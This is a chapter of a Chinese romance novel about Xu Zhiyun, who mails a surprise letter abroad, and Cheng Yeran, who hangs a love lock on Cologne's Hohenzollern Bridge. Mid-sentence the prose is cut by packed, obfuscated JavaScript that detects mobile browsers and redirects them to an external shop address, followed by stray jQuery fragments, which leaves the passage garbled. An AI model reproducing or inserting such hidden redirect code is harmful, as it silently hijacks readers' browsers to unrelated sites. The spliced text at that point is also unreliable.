繁重的翻译工作总算告一段落，接下来是编辑的审稿期。编辑会将需要修改的地方标出来，重新发给许知蕴。但这需要一点时间，所以许知蕴也难得睡了几天懒觉。
但几天后，面临的就是繁杂的改动。她不得不打起精神，每天雷打不动地在周颂的店里坐着，几乎将菜单上每一款咖啡都点了个遍。周颂刚开始还给她打五折，到后来索性不打折了，直接免费。
“我不好收你钱啊。”周颂笑嘻嘻地说。后半句他没说出来，但是谁都能听懂。
许知蕴没理他。虽然表面上答应了，但她还是会偷偷扫码转账。
周颂则倚在柜台上，慢悠悠地叹了口气。
“我看程烨然够忙的。”他颇为哀怨道，“手机里的他就像消失了一样。”
许知蕴点点头，没有否认：“是啊，他挺忙的。”
程烨然给她发了个时间表，说进修时的规划基本都按这个来。许知蕴看见密密麻麻的表格，还有除周日外，每天风雨无阻，六点半起床。感觉光是早起这一项，就足够令她打蔫。何况晚上结束了之后，还得自己花时间巩固、总结和复盘，或者加班加点把布置的任务完成。这些光景，一下子让她想起读研期间那段昏天黑地的岁月。
周颂啃着自己刚烤出来的牛角面包，慢吞吞道：“时间过得挺快的——一眨眼就到冬天了。”
是啊，一眨眼就到冬天了。
“我呢，还记得第一次见到你。”周颂难得地来了几句感慨，“就在这里。程烨然还偷偷请你喝咖啡呢。我从来没见过他那个样子……”
他还没说完，许知蕴就惊讶地打断道：“什么？什么请我喝咖啡？”
周颂也同样惊讶地回看她：“就是——”
他忽然反应过来了。敢情这两人在一起这么久，程烨然也没说。
而许知蕴也很快反应过来了。
她又不傻，有周颂这短短的一句话就够了。
一杯免费的玛琪雅朵。
她当然记得那一天的场景，她怎么会不记得呢？她的脑海中飞速将线索串联在一起，最后得出一个显而易见的答案。
“其实根本就是程烨然请我的吧？”她一下子想通了，似笑非笑地说，“本来就没有那个活动，对不对？”
周颂无奈地点点头。“嗯……是这样的。”
他又颇为心虚地补充了一句：“你知道了，到时候、到时候可别说是我说的。”
许知蕴笑了笑：“放心好了，我不会跟他说的。”
但她的心里忽然又升起一个主意。
她坐在电脑前，修修改改，下午回家。她找出几张信纸并一个信封，晚饭也没吃，就先开始写。或许是文思泉涌，她写得很快，三张信纸，半个小时就写完了。她将信纸小心折好，平整地放进信封里，然后出门，骑一辆共享单车，以最快的速度奔向邮局。
她知道邮局关门的时间是下午五点，紧赶慢赶，总算是赶到了。这年头，寄信的人很少，因此柜台旁没什么人排队。许知蕴交了信封，买了邮票，亲手将邮票贴好。前台工作人员有些惊讶，追问着再次确定地址，“您确定是这里吗？街区和门牌号有没有错漏？”
她知道程烨然住在哪里，知道这封信的终点是海德堡的一个不起眼的公寓。
她说：“我确定。”
她似乎是邮政业务的最后一位客人。她一走，没过几分钟，邮局的灯就熄了，门就关了。冬天的黑夜来得很快，夜幕降临不过是一瞬间的事。她呵出一口白气，重新跨上共享单车，沿着记忆中的路骑回家。路过便利店，她把车停下来，买了一个烤红薯。
甜蜜的香气四溢，热气腾腾的烤红薯几乎要把指尖的皮肤烫红。她慢慢地将烤红薯吃完了，一阵暖意遍布全身。也不知道今年会不会下雪。往年下雪，都是按秒来计算的，许知蕴已经很久很久没看过雪了。她的记忆还停留在小时候，听说下雪了，她就跑到外边，看在雪中那座发光的、高大的电视塔。
也不知道信到达程烨然手里是什么时候。
是早晨还是晚上，是下雨还是下雪。
*
她没有在微信和电话里说过这件事情。
寄信嘛，讲究一个出其不意。要是让收信人知道了，那就没意思了。
她在手机上看着这封信的动向。到达本城某地邮件处理中心、到达另一处邮件处理中心、到达国际互换局、送交海关、海关放行……她想象着这封信同许许多多的信件一起在海上邮轮飘荡的样子。那么薄，那么不起眼，但总能精准地交到另一个人手上。她算好时差，同程烨然打电话，聊天。随着信件在海上的起起伏伏，十一月很快过去，日子进入十二月。
他们互换了万圣节的视频，许知蕴也是万圣节之夜中欢乐人群的一个。
程烨然给她看地铁口独自表演的艺术家。穿着亮蓝色羽绒服，拉大提琴。程烨然录了视频，传过来。那人是柏林艺术大学的学生。许知蕴问，他拉的曲子是什么？程烨然说，刚问过了，是肖斯塔科维奇的《浪漫曲》。
许知蕴挠挠头：“……没听过。”
程烨然笑了：“我也没听过。”
“但是很好听，不是吗？”
十二月，下雪了。他给她拍路边的椴树，积了一晚上的雪，太厚了，从树枝上一点一点滑下来。有限的一天假期里，他出门坐火车，坐到科隆，又搭上城市观光车，来到教堂边上。许知蕴看见了雪中的大教堂。黑漆漆的，庄严肃穆。天空也是阴沉沉的，泛着淡淡的灰白色，像刚拿到手的报纸。
程烨然说：“喏，这就是。”
周边游人如织，大家都举起手机拍摄。程烨然也举着手机。他买票走进去，给她看高高的穹顶、彩色的琉璃花窗、壁画里受难的耶稣。他随着人流爬上旋转的楼梯，许知蕴想，原来从上边俯视整个科隆城，是这样的景色。接着他走了出来，过了一座桥，来到教堂的对面。
“以前呢，我很喜欢从这座桥的对面看教堂。”程烨然笑着说。
“为什么呢？”
他给她描述这样的场景：“在下大雪的时候，一切都模糊了。在桥的对岸看大教堂，连它也模糊在雪里。不知为什么，我很喜欢这样的感觉。”
许知蕴想象着，轻声说：“……真希望什么时候我也能看到。”
程烨然说：“可那样的天气太冷了。”
她摇摇头：“没有关系，暴雪嘛，总是会冷的。但是看到美丽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14272959|149342||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的景色，感觉再冷也很值得。”
她看向窗外。这个时候，城里在下雨。细细密密的雨，还有细细密密的寒冷。
她看见程烨然镜头里的那座桥——和普通的桥似乎不一样。这里貌似也是一个景点，不少人在此驻足停留。许知蕴还看见远处一对年轻情侣，他们拥吻着，随后一挥手，将一个细小的，银色的东西丢入了河面。
她好奇地问：“程烨然，这座桥也是个景点吗？”
“嗯。这里是霍亨索伦桥。”
与旁边热热闹闹的情侣相比，他是这座桥上为数不多的单身男人。
“他们在干什么？”
许知蕴的视线落到镜头角落蹲着的一对男女身上。似乎在往旁边的铁栏杆上挂东西。而那铁栏杆已经被挂满了，几乎塞不下，他们费劲找到个位置，姿势有些扭曲，但总算是挂上了。
程烨然忽而顿了顿，温声道：“他们在挂锁呢。”
他慢慢从桥上走下来，走到了科隆大教堂的对岸。他们的时差有点长，而时间又太短了。许知蕴这边已经是深夜，而那边还是一个阴郁的下午。雨仍然下着，在玻璃上溅出透明的雨花。她一时间有些恍惚，忽然深切地感觉到，手机对面，真的是一个陌生的土地。而因为一个熟悉的人，那片土地也不再陌生，反而带一些一见钟情般的亲切。
她说：“晚安——或者说，提前跟你说晚安。我得睡觉了。”
“睡吧。”
他的声音很温柔，寒冷的冬天也因此融化了大半。“祝你好梦。”
许知蕴结束通话，放下了手机。与此同时，程烨然却在往回走。
准确地说，他又走到了霍亨索伦桥的旁边，来到了一家锁店。里边琳琅满目，挂着各种颜色和式样的锁。他驻足在其中，一把锁一把锁地挑选过去，最后选中了一款玫瑰金的。他说不清，但看到这把锁时，他的脑海中闪过一个念头——如果她在这里，应该会喜欢这个颜色吧。在冬日铁灰色般的天气中，玫瑰金简直耀眼得过分。
有些锁店能刻字，有些则不能。程烨然付了钱，拜托店主帮他刻上两个名字的缩写。店主是个花白头发，戴着眼镜，皮肤红润的老头。看见要刻的名字时，他好奇地问：“中国人？”
“嗯。拜托您了。”
店主一点一点将他们的名字刻上去。过了一会儿，他将锁拿给程烨然：“祝你们长长久久。”
程烨然的脸上展露出一个温和的笑意：“借您吉言。”
他拿着锁，走上霍亨索伦桥，仔细找了一个位置——所幸找到了一个好位置。他蹲下来，小心翼翼地将锁挂了上去。围巾掉下来，挡住了他的视线，他不得不重新将它系好。一个穿着黑色长款大衣的男人蹲在那里，难免显得有些滑稽，但程烨然并不在乎。他只在乎锁的位置，在乎它有没有挂好。
刻着两人名字缩写的锁，安安静静地待在那里。
他起身，将手中的钥匙，轻轻抛进了河里。河面泛起一阵再微小不过的涟漪。
我们未来会一起来到这里，再次挂上一把同心锁吗？他忍不住想。
但就像钥匙会落入水中、德国的冬天会下雪、夏天广玉兰会开花一样——他当然知道这个问题的答案。